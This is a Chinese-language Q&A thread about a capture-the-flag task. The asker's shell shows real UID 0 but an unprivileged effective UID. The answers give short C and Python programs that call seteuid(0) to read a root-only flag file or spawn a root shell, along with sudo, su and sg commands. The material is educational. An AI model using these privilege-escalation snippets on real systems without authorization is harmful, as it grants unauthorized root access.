我正在参加一场夺旗比赛,我必须实施某种形式的特权升级才能读取文件flag.txt
。我注意到,当我运行时,whoami
我得到了以下结果:
myHostHere:/$ whoami
nobody
但是当我运行时id
我的 UID 设置为root
:
myHostHere:/$ id
uid=0(root) gid=65534(nobody) euid=65534(nobody)
这是否意味着我可以充当 root 用户等,或者我误解了输出?
编辑:
的输出ls -l flag.txt
如下:
-r--r----- 1 root root 34 Feb 10 12:00 flag.txt
答案1
--static
可以通过在单独的机器上编写和编译(使用)类似这样的 C 程序来解决此问题:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void main() {
seteuid(0);
setgid(0);
system("cat flag.txt");
}
该文件可以复制到 CTF 机器上,授予执行权限chmod +x
,然后从tmp
文件夹运行。
答案2
我创建了一个与您的非常相似的设置。我使用调试器完成了此操作(示例:这里和那里)。在受影响的 shell 中我有:
$ whoami
nobody
$ id
uid=0(root) gid=65534(nogroup) euid=65534(nobody) groups=65534(nogroup)
$
然后,根据这个答案:
文件访问,以及需要root权限的操作,查看有效UID和GID。
确实,发生了以下情况:
$ ls -l flag.txt
---------- 1 root root 4 Mar 17 08:57 flag.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$
但我可以这样做:
$ sudo cat flag.txt
foo
或这个:
$ su -
# whoami
root
# cat flag.txt
foo
或这个:
$ sg root 'cat flag.txt'
foo
当你有的时候uid=0
,任何可以使用seteuid
系统调用然后读取文件的东西都可以帮助到你。例如python
:
import os
os.seteuid(0)
f = open('flag.txt', 'r')
print f.read()
f.close()
除了读取文件之外,你还可以生成一个提升权限的 shell:
import os
os.seteuid(0)
os.execve("/bin/sh", [], {})
在这个 shell 中你root
可以cat flag.txt
工作。
测试平台:Debian GNU/Linux 9。